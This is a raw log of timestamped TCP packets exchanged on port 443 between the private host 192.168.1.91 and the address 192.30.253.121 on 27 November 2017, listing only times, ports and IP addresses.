Nov 27, 2017 12:34:51.983778954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.983802080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.983946085 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.983983994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.984086037 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.984102011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.984999895 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.985043049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.988503933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.988549948 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:51.988775015 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:51.988814116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.030760050 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.030780077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.030852079 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.030869961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.084271908 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.084314108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.084631920 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.084672928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.110883951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.111202002 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.111241102 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.117878914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.117904902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.118227005 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.118268013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.132846117 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.132893085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.133157969 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.133188963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.152211905 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.152251005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.152431965 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.152472019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.168200016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.168248892 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.168463945 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.168524981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.182580948 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.182620049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.182636023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.182861090 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.182883978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.196501017 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.196535110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.196713924 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.196737051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.203475952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.203527927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.203540087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.203561068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.203748941 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.203772068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.217598915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.217681885 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.217700958 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.224757910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.224788904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.224889994 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.224910975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.230015993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.230050087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.230228901 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.230253935 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.238771915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.238802910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.238917112 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.238936901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.248286963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.248326063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.248531103 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.248554945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.258291006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.258316040 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.258326054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.258416891 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.258436918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.265959978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.266006947 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.266185045 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.266207933 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.274020910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.274066925 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.274255037 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.274279118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.282983065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.283025980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.283035040 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.283236980 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.283261061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.290957928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.290999889 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.291218042 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.291244030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.298799992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.298834085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.299019098 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.299041033 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.304482937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.304764032 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.304785013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.308007956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.308044910 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.308199883 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.308223009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.315421104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.315468073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.315650940 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.315674067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.320085049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.320118904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.320292950 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.320313931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.330907106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.330945969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.331034899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.331146002 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.331170082 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.331962109 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.335334063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.335369110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.335540056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.335747957 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.349647045 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.349684954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.349890947 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.349915981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.355434895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.355609894 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.355629921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.361151934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.361191034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.361341953 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.361365080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.371200085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.371227980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.371288061 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.371306896 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.378861904 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.378894091 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.378905058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.379055023 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.379074097 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.384674072 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.384835958 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.384856939 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.395821095 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.395850897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.395942926 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.395962954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.400715113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.400752068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.400892019 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.400913954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.406692028 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.406727076 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.406889915 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.406912088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.414952993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.414988995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.415159941 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.415183067 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.417229891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.417361021 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.417378902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.419703007 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.419732094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.419800043 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.419819117 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.425070047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.425102949 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.425257921 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.425278902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.433327913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.433360100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.433512926 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.433540106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.435801029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.435822964 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.435956955 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.435981035 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.444621086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.444658041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.444674969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.444816113 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.444842100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.448182106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.448206902 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.448348999 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.448373079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456094980 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456141949 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456302881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456320047 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.456322908 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456336975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456371069 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.456422091 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.457472086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.463279009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.463316917 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.463463068 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.463485003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.466362000 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.466392994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.466593027 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.466615915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.468935013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.468964100 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.469079018 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.469100952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.475136995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.475327015 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.475353003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.476425886 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.476450920 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.476772070 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.476788998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.477235079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.477255106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.477322102 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.477339983 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.479749918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.479777098 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.479856968 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.479876995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.483074903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.483449936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.483638048 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.483659029 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.486959934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.486994028 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.487010002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.487173080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.487196922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.490525961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.490557909 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.490736961 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.490760088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.492044926 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.492175102 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.492196083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.494605064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.494661093 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.494757891 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.494777918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.497416019 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.497445107 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.497598886 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.497620106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.498975992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.499165058 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.499186039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.501676083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.501852989 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.515518904 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.515563011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.515574932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.515604973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.515739918 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.520039082 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.520070076 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520078897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520095110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520113945 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520129919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520133972 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520138025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520143032 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520148039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520152092 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520256996 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.520271063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520278931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520282984 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520286083 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520289898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520312071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520328999 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520342112 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520397902 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.520410061 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.520843983 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.520857096 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.523696899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.523732901 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.523833990 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.523854017 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.526287079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.526310921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.526357889 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.526376963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.527848959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.527887106 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.527920961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.527977943 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.527996063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.530544996 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.530572891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.530643940 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.530663967 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.533444881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.533520937 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.533551931 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.533571959 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.533987999 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.534646034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.534672022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.534693956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.534781933 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.537647963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.537679911 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.537694931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.537837029 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.537857056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.540864944 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.540898085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.540951967 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.540971041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.544691086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.544722080 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.544773102 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.559953928 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.559983969 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.559995890 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.559999943 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560024023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560039997 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560045004 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560055017 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560070992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560081005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560096979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560195923 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.560213089 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560223103 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560230017 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560235977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560242891 CET	443	49167	192.30.253.121	192.168.1.91
